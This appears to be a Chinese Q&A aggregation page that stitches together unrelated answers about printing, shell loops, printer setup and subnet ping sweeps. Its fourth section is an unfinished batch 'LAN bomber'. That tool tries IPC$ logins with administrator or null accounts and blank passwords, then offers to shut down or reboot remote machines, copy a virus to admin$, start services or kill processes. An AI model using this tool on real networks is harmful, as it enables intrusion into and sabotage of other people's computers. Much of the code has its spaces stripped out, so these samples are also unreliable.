當前位置:首頁 » 網頁前端 » 用腳本列印出網段在線列表
擴展閱讀
webinf下怎麼引入js 2023-08-31 21:54:13
堡壘機怎麼打開web 2023-08-31 21:54:11

用腳本列印出網段在線列表

發布時間: 2022-04-25 14:13:49

1. 各位怎樣用腳本實現 列印web頁面時隱藏地址

<scriptlanguage="javascript"type="text/javascript">
functionUserPrint()
{
bdhtml=window.document.body.innerHtml;

varheadstr="<html><head></head><body>";
varfootstr="</body>";
varbodystr=document.all.item("printDiv").innerHTML;
varoldstr=document.body.innerHTML;

document.body.innerHTML=headstr+bodystr+footstr;
pagesetup_null();
window.print();
pagesetup_default();
document.body.innerHTML=oldstr;
returnfalse;
}
varhkey_root,hkey_path,hkey_key
hkey_root="HKEY_CURRENT_USER"
hkey_path="\Software\Microsoft\InternetExplorer\PageSetup\"
//設置網頁列印的頁眉頁腳為空
functionpagesetup_null(){
try{
varRegWsh=newActiveXObject("WScript.Shell")
hkey_key="header"
RegWsh.RegWrite(hkey_root+hkey_path+hkey_key,"")
hkey_key="footer"
RegWsh.RegWrite(hkey_root+hkey_path+hkey_key,"")
}catch(e){}
}
//設置網頁列印的頁眉頁腳為默認值
functionpagesetup_default(){
try{
varRegWsh=newActiveXObject("WScript.Shell")
hkey_key="header"
RegWsh.RegWrite(hkey_root+hkey_path+hkey_key,"&w&b頁碼,&p/&P")
hkey_key="footer"
RegWsh.RegWrite(hkey_root+hkey_path+hkey_key,"&u&b&d")
}catch(e){}
}
</script>

2. 如何使用腳本調用瀏覽器的頁面設置和列印預覽功能

1、打開IE瀏覽器。 2、點擊IE菜單欄「文件」「列印預覽」,打開「列印預覽"對話框。 3、點擊設置按鈕(齒輪狀),設置好,確定。 4、關閉IE,再次打開IE,「列印預覽」對話框,設置沒有變動。說明默認設置已經設好。

3. 如何用shell編程列印出目錄下的所有文件內容

1)看下面的腳本a1.sh,假設要顯示目錄/home/user/tmp/下面的所有的文件和(子)目錄的名字:

$ cat a1.sh
#!/bin/bash

for file in /home/user/tmp/*
do
echo $file
done

2)假設目錄/home/user/tmp/下面的所有的文件和(子)目錄如下:

$ ls
1.txt 2.txt a1.sh a.sh b.sh email_back m1.doc tmp

3)運行腳本:
$ a1.sh (或者./a1.sh)
/home/user/tmp/1.txt
/home/user/tmp/2.txt
/home/user/tmp/a1.sh
/home/user/tmp/a.sh
/home/user/tmp/b.sh
/home/user/tmp/email_back
/home/user/tmp/m1.doc
/home/user/tmp/tmp

4)腳本a1.sh的作用只是顯示文件和子目錄的列表,要顯示文件的內容,腳本繼續改造,內容如下,看腳本a2.sh:

$ cat a2.sh
#!/bin/bash

for file in /home/shiqingd/tmp/*
do
echo $file
if [ -f $file ]; then
cat $file
fi
done

腳本a2.sh可以達到目的。

4. 求遍歷網段ip的shell腳本

是可以借鑒這裡面的一些東西而已,因為只要把這兩段小腳本中的一些東西結合起來可以達到你的要求(Windows環境中),不是要完全的照搬,呵呵。

shell不會玩,Windows下的bat還會點...

還有一點要在Windows中調用linux中的shell腳本啊?

應該不可能...或者很難!

在Windows下我才能做到,不過太費時間了,給你兩段現成的代碼,如果你有時間有興趣的話,可以在Windows下玩玩這代碼,你有興趣的話可以結合一下,然後再做一些修改就能達到你要的要求!

第一段:

@echooff

title掃描在線IP

::MODEcon:COLS=60LINES=18

color0a

::裝飾。

:kaishi

cls

for/l%%iin(1,1,4)doecho.

set/pqishi=起始IP:

set/pjieshu=終止IP:

IFERRORLEVEL1echo錯誤的IP地址格式!&&pause&&gotokaishi

echo.

::從鍵盤獲得兩個變數的值。

for/f"tokens=1-4delims=."%%ain("%qishi%")do(

if%%aLSS0gotoerror_2

if%%aGTR255gotoerror_2

if%%bLSS0gotoerror_2

if%%bGTR255gotoerror_2

if%%cLSS0gotoerror_2

if%%cGTR255gotoerror_2

if%%dLSS0gotoerror_2

if%%dGTR255gotoerror_2

setv1=%%a

setv2=%%b

setv3=%%c

setv4=%%d

)

::分離起始IP的四個段並賦值,判斷IP是否正確。

for/f"tokens=1-4delims=."%%ain("%jieshu%")do(

if%%aLSS0gotoerror_2

if%%aGTR255gotoerror_2

if%%bLSS0gotoerror_2

if%%bGTR255gotoerror_2

if%%cLSS0gotoerror_2

if%%cGTR255gotoerror_2

if%%dLSS0gotoerror_2

if%%dGTR255gotoerror_2

setv5=%%a

setv6=%%b

setv7=%%c

setv8=%%d

)

::分離終止IP的四個段並賦值,判斷IP是否正確。

IF%V5%LSS%V1%echo錯誤:終止IP不能小於起始IP。&pause&gotokaishi

::判斷終止IP與起始IP的正確性。

IF%V4%LEQ%V8%setzeng_1=1

IF%V4%GEQ%V8%setzeng_1=-1

IF%v3%LEQ%v7%setzeng_2=1

IF%V3%GEQ%V7%setzeng_2=-1

IF%v2%LEQ%v6%setzeng_3=1

IF%v2%GEQ%v6%setzeng_3=-1

for/L%%din(%v1%,1,%v5%)do(

for/L%%cin(%v2%,%zeng_3%,%v6%)do(

for/L%%bin(%v3%,%zeng_2%,%v7%)do(

for/L%%ain(%v4%,%zeng_1%,%v8%)do(

ping/n1%%d.%%c.%%b.%%a>nul&&echo%%d.%%c.%%b.%%aOK||echo%%d.%%c.%%b.%%aERROR

echo%%d.%%c.%%b.%%a

)

)

)

)

echo掃描完畢!

pause&gotokaishi

:error_2

echo錯誤的IP地址!

pause

gotokaishi

第二段(未編寫測試完):

@echooff

titleWin2k區域網轟炸器未完待續~す珹す~

color0a

:start

echo-------------------------------------------------------------------------------

echo收集信息中...&echo.

for/f"tokens=15"%%iin('ipconfig^|find/i"ipaddress"')dosetip=%%i

for/f"tokens=1,2,3delims=."%%iin('echo!ip!')dosetwd=%%i.%%j.%%k

echo你的IP地址是:!ip!

echo你所在的網段是:!wd!

echo.

echo---請選擇掃描在線主機的掃描方式---

echo1.ping2.netview3.exit註:直接按回車鍵使用默認方式!【ping測試】

set/pfs=請輸入:

if"%fs%"==""gotoping

if"%fs%"=="1"gotoping

if"%fs%"=="2"gotonetview

if"%fs%"=="3"exit

cls&gotostart

:ping

echo.

echo輸入需要掃描的IP范圍(不需輸網段)1至255之內結尾數不能小於起始數!

set/pqs=起始數:

set/pjs=結束數:

if!qs!gtr!js!echo起始數不能大於結束數!&&ping127.1/n2>nul2>nul&&gotoping

echo正在掃描!wd!.!qs!至!wd!.!js!范圍內的主機在線情況...

echo-------------------------------------------------------------------------------

for/l%%iin(!qs!,1,!js!)do(

ping!wd!.%%i/n1>nul2>nul&&echo!wd!.%%i在線!&&echo!wd!.%%i>>zx.txt||echo!wd!.%%i離線!

)

echo--------------------------------------------------------------------------------

gotoipc$scan

:netview

echo.

echo此區域網內在線主機:

echo-------------------------------------------------------------------------------

FOR/F"eol=-delims=\"%%cin('netview')do(

FOR/F"eol=服"%%iin('echo%%c')do(

FOR/F"eol=命"%%iin('echo%%c')do(

echo%%i&&echo%%i>>zx.txt

)

)

)

echo--------------------------------------------------------------------------------

gotoipc$scan

:ipc$scan

echo.

echo即將開始ipc$掃描...

echo.

ifnotexistzx.txtechosorry!此區域網中無在線主機,無法進行ipc$掃描!正在返回主菜單...&&ping127.1/n5>nul2>nul&&cls&&gotostart

echoipc$掃描時使用何用戶?註:直接按回車鍵使用默認用戶!【administrator】

echo要用空用戶(空鏈接)請輸入【null】

set/puser=請輸入:

if"!user!"==""setuser=administrator

if"!user!"=="null"setuser=

echoipc$掃描時使用何密碼?註:直接按回車鍵使用默認密碼!【空】

set/ppassword=請輸入:

if"!password!"==""setpassword=

echo.

echo你選擇的用戶為:!user!

echo你選擇的密碼為:!password!

ping127.1/n2>nul2>nul

echo.

echo正在掃描能ipc$連接的機子...

setipc$=0

for/f%%iin('typezx.txt')do(

echo-------------------------------------------------------------------------------

netuse\%%iipc$"!password!"/user:"!user!">nul&&(

set/aipc$=!ipc$!+1

echo連接%%i成功!

echo%%i>>ipc.txt

netuse\%%i/del>nul2>nul

)||(

echo連接%%i失敗!↑↑↑以上是錯誤提示!↑↑↑

)

)

echo--------------------------------------------------------------------------------

echo按任意鍵進入下一步!&pause>nul

:kill

cls

for/l%%iin(1,1,9)doecho.

echo掃描到!ipc$!台機器能ipc$連接成功!

for/l%%iin(1,1,3)doecho.

echo請問美麗的大姐您要怎麼捉弄他們?

echo.

echo1:關了他們2:重啟他們3:開啟服務

echo4:傳送病毒5:彈出消息6:關閉進程

echo.

set/pshr=請選擇:

if"!shr!"=="1"gotogj

if"!shr!"=="2"gotocq

if"!shr!"=="3"gotofw

if"!shr!"=="4"gotobd

if"!shr!"=="5"gotoxx

if"!shr!"=="6"gotojc

gotokill

:gj

for/f%%iin('typeipc.txt')do(

shutdown-m\%%i-s-t0

)

echo完成!按任意鍵返回主菜單!

pause>nul&gotostart

:cq

for/f%%iin('typeipc.txt')do(

shutdown-m\%%i-r-t0

)

echo完成!按任意鍵返回主菜單!

pause>nul&gotostart

:fw

set/pfwm=請輸入需要開啟的服務名:

::還需檢測路勁

for/f%%iin('typeipc.txt')do(

netstart\%%i!fwm!

)

echo完成!按任意鍵返回主菜單!

pause>nul&gotostart

:bd

set/pbdm=請輸入要傳送的病毒的路徑:

for/f%%iin('typeipc.txt')do(

!bdm!\%%iadmin$

::還需開啟對方計劃任務服務運行病毒

)

echo完成!按任意鍵返回主菜單!

pause>nul&gotostart

:xx

set/pxx=請輸入要彈出的消息:

for/f%%iin('typeipc.txt')do(

echo正在彈消息中...

sc\%%iconfigmessengerstart=auto>nul2>nul

sc\%%istartmessenger>nul2>nul

netsend%%i!xx!

)

echo完成!按任意鍵返回主菜單!

pause>nul&gotostart

:jc

set/pjc=請輸入需要關閉的進程名:

for/f%%iin('typeipc.txt')do(

!bdm!\%%iadmin$

taskkill/s\%%i/f/im!jc!

)

echo完成!按任意鍵返回主菜單!

pause>nul&gotostart1

pause

5. 如何使用Powershell腳本檢查列印機IP在線

1.要先點擊開始 --控制面板 --查看設備和列印機。
2.然後要找到安裝的列印機的圖標,右鍵單擊列印機屬性。
3.然後得選擇埠,點擊添加埠,選擇Standard TCP/IP Port 之後點擊新的埠。
4.然後要在顯示的窗口中點擊下一步。
5.然後輸入列印伺服器的IP地址,點擊下一步。
6.然後要選擇自定義並且點擊設置按鈕。
協議選中LPR ,隊列名稱為lp1 ,並把啟用LPR位元組勾選計數之後點擊確定。
7.接著點擊結束按鈕,完成配置。
8.最後點擊應用按鈕並選中關掉 ,就可以使用列印伺服器共享列印機了。(必須得要點擊應用才可以生效)

6. 如何用python腳本獲取ip,掩碼,地址,網段

#!/usr/bin/python

importfcntl,socket,struct

defgetHwAddr(ifname):
s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
info=fcntl.ioctl(s.fileno(),0x8927,struct.pack('256s',ifname[:15]))
return':'.join(['%02x'%ord(char)forcharininfo[18:24]])

printgetHwAddr('eth0')

7. 怎樣寫腳本,用ping命令測試一個網段的主機誰在線

Ping是基於ICMP協議的,ICMP和同級,不支持廣播,因此無法ping整個網段。
在網管軟體中有主機狀態的監控一般也是基於ping,實現的辦法是採用循環方式,逐個ping網段下每台主機。

8. LINUX中怎樣用shell腳本迅速找出整個區域網中的在線IP我試過用循環ping每個IP一次,但是速度太慢了,求

但凡測試網路都會需要花點時間,不可能太快得到反饋。
自己網路nmap使用方法,我覺得會比我說的更詳細。